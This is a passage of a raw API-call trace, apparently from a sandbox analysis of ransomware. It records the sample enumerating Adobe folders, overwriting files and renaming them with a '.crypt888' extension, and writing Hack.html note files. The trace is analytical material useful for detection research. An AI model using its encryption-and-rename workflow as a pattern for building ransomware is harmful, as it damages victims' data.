lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.864] GetFileType (hFile=0x174) returned 0x1 [0085.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0085.864] GetFileType (hFile=0x174) returned 0x1 [0085.864] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xba [0085.864] ReadFile (in: hFile=0x174, lpBuffer=0x271e00c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x271e00c*, lpNumberOfBytesRead=0x39ecf0*=0xba, lpOverlapped=0x0) returned 1 [0085.865] CloseHandle (hObject=0x174) returned 1 [0085.885] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html", lpFilePart=0x0) returned 0x2f [0085.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0085.885] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.886] GetFileType (hFile=0x174) returned 0x1 [0085.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec20) returned 1 [0085.886] GetFileType (hFile=0x174) returned 0x1 [0085.886] WriteFile (in: hFile=0x174, lpBuffer=0x276c2cc*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ecb4, lpOverlapped=0x0 | out: lpBuffer=0x276c2cc*, lpNumberOfBytesWritten=0x39ecb4*=0xc0, lpOverlapped=0x0) returned 1 [0085.887] CloseHandle (hObject=0x174) returned 1 [0085.887] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html", lpFilePart=0x0) returned 0x2f [0085.888] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e868, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html.crypt888", lpFilePart=0x0) returned 0x38 [0085.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc8) returned 1 [0085.888] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed44 | out: lpFileInformation=0x39ed44*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba3097c0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba3097c0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc463dc20, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0085.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc4) returned 1 [0085.888] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\hack.html.crypt888")) returned 1 [0085.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0085.889] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate", lpFilePart=0x0) returned 0x2f [0085.889] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\", lpFilePart=0x0) returned 0x30 [0085.889] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1a8 [0085.889] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.889] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.889] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.890] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0085.890] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0085.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0085.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0085.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0085.890] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate", lpFilePart=0x0) returned 0x2f [0085.890] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\", lpFilePart=0x0) returned 0x30 [0085.890] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1a8 [0085.890] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.890] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.891] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0085.891] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0085.891] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0085.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0085.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0085.891] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html", lpFilePart=0x0) returned 0x39 [0085.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0085.891] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.891] GetFileType (hFile=0x174) returned 0x1 [0085.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0085.892] GetFileType (hFile=0x174) returned 0x1 [0085.892] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0xba [0085.892] ReadFile (in: hFile=0x174, lpBuffer=0x276efac, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x276efac*, lpNumberOfBytesRead=0x39ecbc*=0xba, lpOverlapped=0x0) returned 1 [0085.893] CloseHandle (hObject=0x174) returned 1 [0085.912] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html", lpFilePart=0x0) returned 0x39 [0085.912] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0085.912] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.913] GetFileType (hFile=0x174) returned 0x1 [0085.913] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebec) returned 1 [0085.913] GetFileType (hFile=0x174) returned 0x1 [0085.913] WriteFile (in: hFile=0x174, lpBuffer=0x27bd124*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec80, lpOverlapped=0x0 | out: lpBuffer=0x27bd124*, lpNumberOfBytesWritten=0x39ec80*=0xc0, lpOverlapped=0x0) returned 1 [0085.915] CloseHandle (hObject=0x174) returned 1 [0085.915] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html", lpFilePart=0x0) returned 0x39 [0085.915] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e834, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html.crypt888", lpFilePart=0x0) returned 0x42 [0085.915] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec94) returned 1 [0085.915] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ed10 | out: lpFileInformation=0x39ed10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba3097c0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba3097c0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc4689ee0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0085.915] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec90) returned 1 [0085.915] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\hack.html.crypt888")) returned 1 [0085.916] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0085.916] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security", lpFilePart=0x0) returned 0x38 [0085.916] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\", lpFilePart=0x0) returned 0x39 [0085.916] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a168 [0085.916] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0085.916] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0085.917] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0085.917] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0085.917] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0085.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0085.917] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0085.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecf4) returned 1 [0085.917] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security", nBufferLength=0x105, lpBuffer=0x39e7fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security", lpFilePart=0x0) returned 0x38 [0085.917] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\", nBufferLength=0x105, lpBuffer=0x39e7d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\", lpFilePart=0x0) returned 0x39 [0085.917] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\*", lpFindFileData=0x39ea1c | out: lpFindFileData=0x39ea1c) returned 0x59a168 [0085.917] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0085.918] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0085.918] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 1 [0085.918] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea2c | out: lpFindFileData=0x39ea2c) returned 0 [0085.918] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0085.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecb4) returned 1 [0085.918] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecc0) returned 1 [0085.918] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html", lpFilePart=0x0) returned 0x42 [0085.918] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebd4) returned 1 [0085.918] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\hack.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.919] GetFileType (hFile=0x174) returned 0x1 [0085.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebd0) returned 1 [0085.919] GetFileType (hFile=0x174) returned 0x1 [0085.919] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ecdc | out: lpFileSizeHigh=0x39ecdc*=0x0) returned 0xba [0085.919] ReadFile (in: hFile=0x174, lpBuffer=0x27c01d4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ec88, lpOverlapped=0x0 | out: lpBuffer=0x27c01d4*, lpNumberOfBytesRead=0x39ec88*=0xba, lpOverlapped=0x0) returned 1 [0085.920] CloseHandle (hObject=0x174) returned 1 [0085.934] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html", lpFilePart=0x0) returned 0x42 [0085.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebbc) returned 1 [0085.934] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0085.935] GetFileType (hFile=0x174) returned 0x1 [0085.935] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb8) returned 1 [0085.935] GetFileType (hFile=0x174) returned 0x1 [0085.935] WriteFile (in: hFile=0x174, lpBuffer=0x280e360*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x39ec4c, lpOverlapped=0x0 | out: lpBuffer=0x280e360*, lpNumberOfBytesWritten=0x39ec4c*=0xc0, lpOverlapped=0x0) returned 1 [0085.936] CloseHandle (hObject=0x174) returned 1 [0085.937] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html", lpFilePart=0x0) returned 0x42 [0085.937] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e800, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html.crypt888", lpFilePart=0x0) returned 0x4b [0085.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec60) returned 1 [0085.937] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\hack.html"), fInfoLevelId=0x0, lpFileInformation=0x39ecdc | out: lpFileInformation=0x39ecdc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xba3097c0, ftCreationTime.dwHighDateTime=0x1d46f95, ftLastAccessTime.dwLowDateTime=0xba3097c0, ftLastAccessTime.dwHighDateTime=0x1d46f95, ftLastWriteTime.dwLowDateTime=0xc46b0040, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0xc0)) returned 1 [0085.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec5c) returned 1 [0085.937] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\hack.html"), lpNewFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html.crypt888" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\hack.html.crypt888")) returned 1 [0085.937] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e6f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html", lpFilePart=0x0) returned 0x42 [0085.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebe4) returned 1 [0085.938] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Security\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\security\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.941] GetFileType (hFile=0x174) returned 0x1 [0085.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe0) returned 1 [0085.942] GetFileType (hFile=0x174) returned 0x1 [0085.942] WriteFile (in: hFile=0x174, lpBuffer=0x2810d4c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec60, lpOverlapped=0x0 | out: lpBuffer=0x2810d4c*, lpNumberOfBytesWritten=0x39ec60*=0xba, lpOverlapped=0x0) returned 1 [0085.943] CloseHandle (hObject=0x174) returned 1 [0085.943] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html", lpFilePart=0x0) returned 0x39 [0085.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0085.943] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Replicate\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\replicate\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.943] GetFileType (hFile=0x174) returned 0x1 [0085.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0085.943] GetFileType (hFile=0x174) returned 0x1 [0085.943] WriteFile (in: hFile=0x174, lpBuffer=0x2813534*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2813534*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0085.944] CloseHandle (hObject=0x174) returned 1 [0085.945] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html", lpFilePart=0x0) returned 0x2f [0085.945] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0085.945] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\10.0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.946] GetFileType (hFile=0x174) returned 0x1 [0085.946] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0085.946] GetFileType (hFile=0x174) returned 0x1 [0085.946] WriteFile (in: hFile=0x174, lpBuffer=0x2815cf4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2815cf4*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0085.947] CloseHandle (hObject=0x174) returned 1 [0085.947] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e78c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html", lpFilePart=0x0) returned 0x2a [0085.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec80) returned 1 [0085.947] CreateFileW (lpFileName="C:\\Users\\All Users\\Adobe\\Acrobat\\Hack.html" (normalized: "c:\\users\\all users\\adobe\\acrobat\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0085.948] GetFileType (hFile=0x174) returned 0x1 [0085.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec7c) returned 1 [0085.948] GetFileType (hFile=0x174) returned 0x1 [0085.948] WriteFile (in: hFile=0x174, lpBuffer=0x28184a4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecfc, lpOverlapped=0x0 | out: lpBuffer=0x28184a4*, lpNumberOfBytesWritten=0x39ecfc*=0xba, lpOverlapped=0x0) returned 1 [0085.949] CloseHandle (hObject=0x174) returned 1 [0085.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0085.949] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM", lpFilePart=0x0) returned 0x1c [0085.949] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\", lpFilePart=0x0) returned 0x1d [0085.949] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0085.949] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.949] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.950] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.950] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0085.950] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0085.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed50) returned 1 [0085.950] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed5c) returned 1 [0085.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed90) returned 1 [0085.950] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM", nBufferLength=0x105, lpBuffer=0x39e898, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM", lpFilePart=0x0) returned 0x1c [0085.950] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\", nBufferLength=0x105, lpBuffer=0x39e86c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Adobe\\ARM\\", lpFilePart=0x0) returned 0x1d [0085.950] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\*", lpFindFileData=0x39eab8 | out: lpFindFileData=0x39eab8) returned 0x59a768 [0085.950] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.950] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.951] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 1 [0085.951] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39eac8 | out: lpFindFileData=0x39eac8) returned 0 [0085.951] FindClose (in: 